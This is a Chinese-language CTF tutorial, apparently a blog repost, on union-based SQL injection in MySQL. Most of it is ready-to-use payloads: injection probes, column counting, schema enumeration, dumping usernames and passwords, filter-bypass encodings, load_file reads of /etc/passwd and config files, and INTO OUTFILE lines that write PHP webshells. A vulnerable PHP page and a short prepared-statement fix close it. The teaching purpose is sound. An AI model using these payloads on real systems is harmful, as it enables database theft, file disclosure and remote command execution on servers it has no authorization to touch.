文章总结: 本文档为CTFSQL注入技术教程,系统讲解联合查询(Union-based)注入的完整流程:从注入点判断、列数确定、数据库结构探测到数据提取,涵盖常用Payload、绕过技巧(大小写、注释、编码等)及实用函数(version、load_file、intooutfile等)。包含实战案例演示与PHP预处理语句修复方案,适用于CTF竞赛与渗透测试学习。 综合评分: 78 文章分类: CTF,WEB安全,渗透测试,漏洞分析,安全培训
直播预告:ctfshow联合查询注入详解
原创
小话安全 小话安全
小话安全
2026年2月9日 18:31 山东
今晚20:00直播
在CTF的SQL注入题目中,联合查询(Union-based)是最常用的技术之一。以下是常用的命令和技巧:
第一阶段:信息收集
1、判断注入点
-- 判断注入点1' or '1'='11' or 1=1 -- 1" or 1=1 -- 1') or 1=1 -- 1 or 1=1 --
下面是对每个Payload的简要解释:
1' or '1'='1这是一个经典的SQL注入Payload。它试图闭合原始查询中的字符串,然后添加一个始终为真的条件(’1’=’1’)。 例如,如果原始查询是:SELECT * FROM users WHERE id=’$input’,那么注入后变成: SELECT * FROM users WHERE id=’1′ or ‘1’=’1′ 这将返回所有用户,因为’1’=’1’始终为真。1' or 1=1 --这里使用了注释符号(–)来注释掉原始查询中剩余的部分。注意,–后面有一个空格。 例如,原始查询可能是:SELECT * FROM users WHERE id=’$input’ AND status=’active’ 注入后:SELECT * FROM users WHERE id=’1′ or 1=1 — ‘ AND status=’active’ 由于–注释掉了后面的内容,所以查询变为:SELECT * FROM users WHERE id=’1′ or 1=1,同样返回所有用户。1" or 1=1 --这个与上一个类似,但是针对使用双引号包裹输入的情况。如果原始查询是:SELECT * FROM users WHERE id=”$input” 注入后:SELECT * FROM users WHERE id=”1″ or 1=1 — “,同样注释掉了后面的内容。1') or 1=1 --这个Payload用于测试输入点被括号和单引号包围的情况。例如,原始查询可能是:SELECT * FROM users WHERE (id=’$input’) 注入后:SELECT * FROM users WHERE (id=’1′) or 1=1 — ‘) 注释符注释掉了后面的括号和单引号,使得查询变为:SELECT * FROM users WHERE (id=’1’) or 1=1,返回所有用户。1 or 1=1 --这个Payload用于测试数字型注入,即输入点没有引号包围。例如,原始查询:SELECT * FROM users WHERE id=$input 注入后:SELECT * FROM users WHERE id=1 or 1=1 — ,返回所有用户。
使用这些Payload时,我们观察应用程序的响应。如果返回的结果与正常输入不同(例如,返回了所有数据),则可能存在SQL注入漏洞。
通过命令1 or 1=1 — 确认注入点
2、确定列数(ORDER BY)
什么是列数?
在SQL注入中,列数指的是SELECT查询返回的字段数量。比如:
-- 返回3列:id, name, emailSELECT id, name, email FROM users;
-- 返回5列:id, name, email, age, citySELECT id, name, email, age, city FROM users;
为什么要确定列数?
在使用UNION操作符时,必须保证前后两个SELECT语句的列数相同,否则会报错:
-- 错误:第一个SELECT有3列,第二个SELECT有2列SELECT id, name, email FROM users UNION SELECT 1, 2;
-- 正确:两个SELECT都有3列SELECT id, name, email FROM users UNION SELECT 1, 2, 3;
如何确定列数?
方法1:使用ORDER BY(最常用)
-- 从1开始递增测试,直到报错,根据注入点更改1的格式1 ORDER BY 1 -- -- 按第1列排序(正常)1 ORDER BY 2 -- -- 按第2列排序(正常)1 ORDER BY 3 -- -- 按第3列排序(正常)1 ORDER BY 4 -- -- 按第4列排序(报错!)
方法2:使用UNION SELECT NULL(更安全)
-- 使用NULL填充,逐渐增加NULL数量1 UNION SELECT NULL -- 1 UNION SELECT NULL, NULL -- 1 UNION SELECT NULL, NULL, NULL -- 1 UNION SELECT NULL, NULL, NULL, NULL -- -- 报错!
方法3:使用数字序列
-- 逐渐增加数字1 UNION SELECT 1 -- 1 UNION SELECT 1,2 -- 1 UNION SELECT 1,2,3 -- 1 UNION SELECT 1,2,3,4 -- -- 报错!
经过测试列数为3
3、确定显示位置(UNION SELECT)
-- 假设有3列1 UNION SELECT 1,2,3 --
-- 或者使原查询不返回结果,确保看到UNION查询的结果-1 UNION SELECT 1,2,3 --
4. 获取数据库基本信息
-- 使用显示的位置替换数字-1 UNION SELECT 1,version(),database() -- -1 UNION SELECT 1,@@version,@@datadir -- -1 UNION SELECT 1,user(),@@hostname --
第二阶段:数据库结构探测
5. 获取所有数据库名
-1 UNION SELECT 1,database(),3-- -1 UNION SELECT 1,schema_name,3 FROM information_schema.schemata -- -1 UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata --
6. 获取当前数据库的表名
-1 UNION SELECT 1,table_name,3 FROM information_schema.tables WHERE table_schema=database()-- -- 所有表名-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()--
7. 获取表的列名
-- MySQL-1 UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users'--
-- 所有列名-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'--
8. 提取数据
-- 提取具体数据-1 UNION SELECT 1,username,password FROM users--
-- 拼接字段-1 UNION SELECT 1,concat(username,':',password),3 FROM users--
-- 分条显示-1 UNION SELECT 1,concat_ws(':',id,username,password),3 FROM users LIMIT 0,1--
9. 绕过技巧
-- 大小写绕过' UniOn SeLeCt 1,2,3--
-- 注释符绕过' UNION SELECT 1,2,3/* ' UNION SELECT 1,2,3#
-- 空格绕过'UNION/**/SELECT/**/1,2,3-- 'UNION%0ASELECT%0A1,2,3--
-- 双写绕过' UNIUNIONON SELSELECTECT 1,2,3--
-- 编码绕过%55%4e%49%4f%4e %53%45%4c%45%43%54 1,2,3--
10. 实用函数
@@version -- 版本database() -- 当前数据库user() -- 当前用户@@datadir -- 数据目录load_file() -- 读取文件into outfile -- 写入文件group_concat() -- 合并结果concat_ws() -- 带分隔符合并
1.1 @@version – 获取数据库版本
-- 基本用法-1 UNION SELECT 1,@@version,3-- -- 输出示例:10.3.38-MariaDB-0ubuntu0.20.04.1
-- 获取版本详细信息-1 UNION SELECT 1,version(),3--
-- 结合其他函数-1 UNION SELECT 1,concat('Version: ', @@version),3--
1.2 database() – 获取当前数据库名
-- 基本用法-1 UNION SELECT 1,database(),3-- -- 输出示例:webapp_db
-- 查看所有数据库-1 UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- -- 输出:information_schema,mysql,performance_schema,webapp_db
-- 当前数据库用户权限-1 UNION SELECT 1,concat('DB: ', database(), ' User: ', user()),3--
1.3 user() – 获取当前用户
-- 基本用法-1 UNION SELECT 1,user(),3-- -- 输出示例:root@localhost
-- 查看所有用户-1 UNION SELECT 1,group_concat(user),3 FROM mysql.user--
-- 获取当前用户权限-1 UNION SELECT 1,concat_ws(':', user(), current_user()),3--
-- 判断是否是root用户-1 UNION SELECT 1,if(user() like 'root@%', 'ROOT USER!', 'Not root'),3--
1.4 @@datadir – 获取数据目录路径
-- 基本用法-1 UNION SELECT 1,@@datadir,3-- -- 输出示例:/var/lib/mysql/
-- 结合路径操作读取文件-1 UNION SELECT 1,load_file(concat(@@datadir, '../flag.txt')),3--
-- 获取其他路径信息-1 UNION SELECT 1,concat('datadir: ', @@datadir, ' basedir: ', @@basedir),3-- -- 输出:datadir: /var/lib/mysql/ basedir: /usr/
1.5 load_file() – 读取服务器文件
-- 读取系统文件(Linux)-1 UNION SELECT 1,load_file('/etc/passwd'),3-- /* 输出示例:root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin...*/
-- 读取配置文件-1 UNION SELECT 1,load_file('/etc/apache2/apache2.conf'),3-- -1 UNION SELECT 1,load_file('/etc/nginx/nginx.conf'),3--
-- 读取网站源码-1 UNION SELECT 1,load_file('/var/www/html/index.php'),3--
-- 读取数据库文件-1 UNION SELECT 1,load_file(concat(@@datadir, 'webapp_db/users.frm')),3--
-- 读取flag文件(CTF常见)-1 UNION SELECT 1,load_file('/flag'),3-- -1 UNION SELECT 1,load_file('/home/ctf/flag.txt'),3--
-- 结合16进制绕过引号-1 UNION SELECT 1,load_file(0x2f6574632f706173737764),3-- -- 0x2f6574632f706173737wd = /etc/passwd 的16进制
7. into outfile – 写入文件(需要FILE权限)
-- 写入Webshell(PHP)-1 UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'--
-- 写入一句话木马-1 UNION SELECT 1,'<?php eval($_POST["c"]);?>',3 INTO OUTFILE '/var/www/html/b.php'--
-- 写入普通文件-1 UNION SELECT 1,'Hello CTF!',3 INTO OUTFILE '/tmp/test.txt'--
-- 从表中导出数据-1 UNION SELECT 1,concat(username,':',password),3 FROM users INTO OUTFILE '/tmp/creds.txt'--
-- 导出查询结果(完整语法)SELECT * FROM users INTO OUTFILE '/tmp/users.csv' FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n'
8. group_concat() – 合并多行结果
-- 合并不同列,用分隔符连接-1 UNION SELECT 1,concat_ws(' | ', username, password, email),3 FROM users-- -- 输出:admin | 123456 | [email protected]
-- 读取flag时格式化输出-1 UNION SELECT 1,concat_ws(':', 'Flag is', flag_value),3 FROM flags-- -- 输出:Flag is: CTF{this_is_flag}
-- 结合其他函数-1 UNION SELECT 1,concat_ws(' - ', database(), user(), @@version),3-- -- 输出:webapp_db - root@localhost - 10.3.38-MariaDB
-- NULL值处理(concat_ws会忽略NULL)-1 UNION SELECT 1,concat_ws(',', id, username, NULL, password),3 FROM users-- -- 输出:1,admin,secret123
-- 与group_concat配合-1 UNION SELECT 1, group_concat(concat_ws(':', username, password) SEPARATOR '\n'),3 FROM users-- /* 输出:admin:123456test:passwordguest:guest123*/
CTF常见路径:
/flag/home/ctf/flag/var/www/html/flag.php/tmp/flag/root/flag.txt
读取网站源码
<?phperror_reporting(0);include_once "conn.php";
// 主题样式function githubio_style() { return <<<STYLE<style> body { background: #fff; color: #24292e; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; margin: 0; padding: 0; }
.container { max-width: 700px; margin: 40px auto; background: #f6f8fa; border: 1px solid #e1e4e8; border-radius: 6px; padding: 32px; box-shadow: 0 1px 3px rgba(27, 31, 35, .05); }
h1, h2 { border-bottom: 1px solid #eaecef; padding-bottom: .3em; }
a { color: #0366d6; text-decoration: none; }
a:hover { text-decoration: underline; }
ul { padding-left: 1.2em; }
.back { margin-top: 2em; display: inline-block; color: #586069; font-size: 0.95em; }</style>STYLE;}
// 页面内容输出echo "<!DOCTYPE html><html><head> <meta charset='utf-8'> <title>Pages</title> " . githubio_style() . "</head><body><div class='container'>";
if (isset($_GET['id'])) { // SQL注入漏洞点:直接拼接id参数,未做过滤 $id = $_GET['id']; $sql = "SELECT id, title, content FROM pages WHERE id=$id"; $result = $conn->query($sql);
if ($row = $result->fetch_assoc()) { echo "<h1>" . $row['id'] . "-" . htmlspecialchars($row['title']) . "</h1>"; echo "<div>" . nl2br(htmlspecialchars($row['content'])) . "</div>"; echo "<a class='back' href='?'>← 返回列表</a>"; } else { echo "<h2>未找到该页面</h2>"; echo "<a class='back' href='?'>← 返回列表</a>"; }} else { // 显示文章列表 echo "<h1>页面列表</h1><ul>"; $result = $conn->query("SELECT id, title FROM pages ORDER BY id ASC");
while ($row = $result->fetch_assoc()) { $id = $row['id']; $title = htmlspecialchars($row['title']); echo "<li><a href='?id=$id'>$title</a></li>"; }
echo "</ul>";}
echo "</div></body></html>";
$conn->close();?>
修复方案
// 修复代码:使用预处理语句防止SQL注入$id = $_GET['id'];
// 方法1:使用预处理语句和绑定参数$sql = "SELECT id, title, content FROM pages WHERE id = ?";$stmt = $conn->prepare($sql);$stmt->bind_param("i", $id); // "i" 表示整数类型$stmt->execute();$result = $stmt->get_result();
// 或者更简洁的写法(如果支持)// $stmt = $conn->prepare($sql);// $stmt->execute([$id]);// $result = $stmt->get_result();
因为无法直接更改服务器文件,通过webshell更改文件。最终漏洞修复
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小话安全 小话安全 小话安全《直播预告:ctfshow联合查询注入详解》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论